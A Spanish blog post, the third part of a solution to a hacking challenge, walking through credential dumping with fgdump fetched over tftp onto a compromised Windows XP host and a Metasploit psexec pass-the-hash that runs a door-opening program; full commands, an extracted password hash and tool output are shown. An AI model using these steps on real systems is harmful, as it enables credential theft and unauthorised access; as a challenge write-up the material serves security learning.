jueves, 16 de julio de 2009

Solución: Santa Claus is Hacking to Town (y III)

En el anterior post vimos como conseguiamos obtener acceso al equipo JailMasterLaptop con privilegios de SYSTEM a través de la vulnerabilidad MS08-067, la utilizada por el conocido malware Conficker.

Una vez obtenido el acceso, y dado que sé que entre 2 equipos Windows que tengan idéntico usuario y contraseña puedes acceder a sus recursos compartidos siendo autenticado como dicho usuario sin necesidad de volver a teclear de contraseña, me planteo la posibilidad de poder realizar algo tipo "su -" de Unix pero en Windows, y transformarme así en usuario jailmaster, desde el que podré lanzar la ejecución de dooropen.exe. Esta sería una muy buena opción para utilizar ese "comodín" que tenemos si encuentro algo que pese menos de 1MB.

Sin embargo, tras algunas horas de buscar, no encuentro ninguna herramienta que parezca que sirva para lo que quiero, como mucho encuentro algunas para hacer sudo, pero no acabo de ver como aplicarlas a mi caso (no estaban preparadas para hacer un "sudo" sin contraseña, o no vi nada parecido). Frustrado por no encontrar nada, y convencido de que si no existe nada es muy muy factible programarlo, pero consciente que no conseguiré hacerlo antes de que el carcelero vuelva a ajusticiarme, decido no obcecarme en esta linea de pensamiento y contemplar otras opciones.

De esta manera me pongo a pensar: Vale, Windows autentica sin poner contraseña entre dos máquinas que usen el mismo usuario y contraseña, ¿cómo lo hace? ¿con la contraseña? ¿se la guarda en memoria? no, lo que se guarda en memoria es el Hash de la contraseña, que es lo que usa seguramente para autenticar sin volver a pedir la contraseña.

Ese razonamiento me hizo acordarme de las técnicas Pass de Hash, que precisamente leí hace tiempo en una presentación del propio Ed Skoudis, el autor del reto, pero que nunca había utilizado hasta ahora. Esta técnica nos va a permitir establecer comunicaciones autenticadas sin necesidad de conocer la contraseña, ya que las aplicaciones, cuando reciben la contraseña, calculan el Hash y lo envian para ser autenticados. Este tipo de herramientas lo que hacen es saltarse ese paso y dejan que les introduzcas el Hash directamente, con lo que puedes autenticarte sin tener que crackerar el Hash. Esto es lo que necesitamos!!

Así que, lo que necesitamos es el hash del usuario jailmaster, y para ello hemos conseguido una shell con privilegios de system, así que lo tenemos fácil, sólo tenemos que subir al equipo comprometido el binario que vamos a utilizar para hacer un dump de los hashes, que será el binario para el que utilizaremos el "comodín" y descargaremos de Internet (fgdump). Esto se podría hacer de muchas maneras, compartiendo una carpeta de red por linea de comandos, por ejemplo, pero dado que no tenemos ningún filtrado entre nosotros en ninguna dirección, es posible que lo más rápido y cómodo sea utilizar tftp, que viene por defecto en todos los Windows XP:

1) En primer lugar creamos un directorio en nuestro Linux (BackTrack 4 Beta) donde guardar el fgdump.exe que previamente hemos descargado, y lanzamos atftpd:

# mkdir /fgdump
# cp fgdump.exe /fgdump
# atftpd --daemon --port 69 /fgdump


2) Una vez lanzado el daemon tftp desde nuestro Linux, volvemos a la consola con privilegios de SYSTEM que hemos obtenido en la Metasploit y subimos el fichero mediante tftp:

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>tftp
santasvmlinux GET fgdump.exe
tftp
santasvmlinux GET fgdump.exe
Transferencia terminada: 981129 bytes en 1 segundo, 981129 bytes/s

C:\>


3) Una vez tenemos disponible el binario, lanzamos el dump de los hashes, que como veremos no nos muestra por pantalla, sino que los guarda en un fichero, por lo que para evitar tenerlos que subir a nuestra máquina simplemente haremos un "more" (sólo muestro la linea que nos interesa):

C:\>fgdump
fgdump
fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright(C) 2008 fizzgig and foofus.net
fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
more information.

No parameters specified, doing a local dump. Specify -? if you are looking for help.
--- Session ID: 2009-07-16-05-02-47 ---
Starting dump on 127.0.0.1

** Beginning local dump **
OS (127.0.0.1): Microsoft Windows XP Professional Service Pack 2 (Build 2600)
Passwords dumped successfully
Cache dumped successfully

-----Summary-----

Failed servers:
NONE

Successful servers:
127.0.0.1

Total failed: 0
Total successful: 1

C:\>


C:\>more 127.0.0.1.pwdump
more 127.0.0.1.pwdump
jailmaster:1003:61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2:::


4) Ya tenemos el hash, así que ya hemos acabado con el JailMasterLaptop, nos lo copiamos (61C5E3C2A708C8F964D99A428911CCC2:
CD162588229E3E220D2861CE03E224D2
) y volvemos a la Metasploit para utilizar este hash con el módulo psexec, que implementa idéntica funcionalidad al psexec de Sysinternals pero con la opción de pasarle la contraseña a utilizar como Hash, lo cual nos va a permitir ejecutar el fichero dooropen.exe (por simplicidad, supongamos que está en el path, sino buscarlo tampoco sería un problema):

msf > use windows/smb/psexec
msf exploit(psexec) > set RHOST santasvmlinux
RHOST => santasvmlinux
msf exploit(psexec) > set SMBUser jailmaster
SMBUser => jailmaster
msf exploit(psexec) > set SMBPass 61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2
SMBPass => 61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2
msf exploit(psexec) > set PAYLOAD windows/exec
PAYLOAD => windows/exec

msf exploit(psexec) > set CMD dooropen.exe
CMD => dooropen.exe

msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Authenticating as user 'jailmaster'...
[*] Uploading payload...
[*] Created \EPhTMEaN.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:santasvmlinux[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:santasvmlinux[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SEYtphhy - "McBBmxoTIvikJAjuWdM")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \EPhTMEaN.exe...
[*] Exploit completed, but no session was created.







Como podemos observar en la máquina que controla la puerta de la carcel, hemos conseguido ejecutar dooropen.exe, y en pocos segundos la puerta de la prisión se ha abierto ante nosotros, lo cual nos permite escapar de la carcel...

RETO CONSEGUIDO!!

Tras resolver el reto a mi manera (tal y como está en este post) he mirado también soluciones de otra gente como las publicadas en la propia web theEthicalHacker.Net y por Raúl Siles, que son similares a las mias, aunque no idénticas.

Como es normal, existen varias posibilidades, una de las que también me plantee es hacer un script con psexec y dejarlo en la carpeta de inicio del portatil del jailmaster y luego apagarselo (por si tiene la sesión bloqueada), para que cuando lo arranque ejecute sin quererlo el dooropen.exe. También está la opción de haber puesto un keylogger, ya que somos SYSTEM, pero ninguna de las dos opciones me gustaba, ya que presuponía que Jailmaster iba a usar su portatil antes de que nos ajusticiaran, lo cual no tiene porque ser así.

Una de las opciones que han usado en la solución que sí que me ha gustado más que la que he usado yo es la utilización de Meterpreter, una funcionalidad de Metasploit (una caña realmente) que sí conocía pero que no la he usado demasiado por aquello de que sirva sólo para Windows y que no tenía muy claro que tal cabría su Payload en los buffer overflow. El caso es que con esta herramienta no hace falta ni hacer tftp, ni usar fgdump, ni nada de eso, ya viene con la funcionalidad para volcar los hashes "de serie" y muchas otras que se pueden ir cargando dinámicamente, una auténtica maravilla, una pena que sólo esté disponible para Windows.

Otro día, quizá un post sobre Meterpreter :)

Dudas, comentarios y críticas son, por supuesto, bienvenidas ;)

4 comentarios :

seifreed dijo...

Me lo he estado leyendo hasta que lo has conseguido. Eres ingenioso ;)
Que sepas que te voy leyendo
Un saludo.

Jose Selvi dijo...

Gracias! :)

Sebastian Batalla dijo...

muy bueno

Jose Selvi dijo...

Gracias @Sebastian, me alegra que te haya resultado entretenido.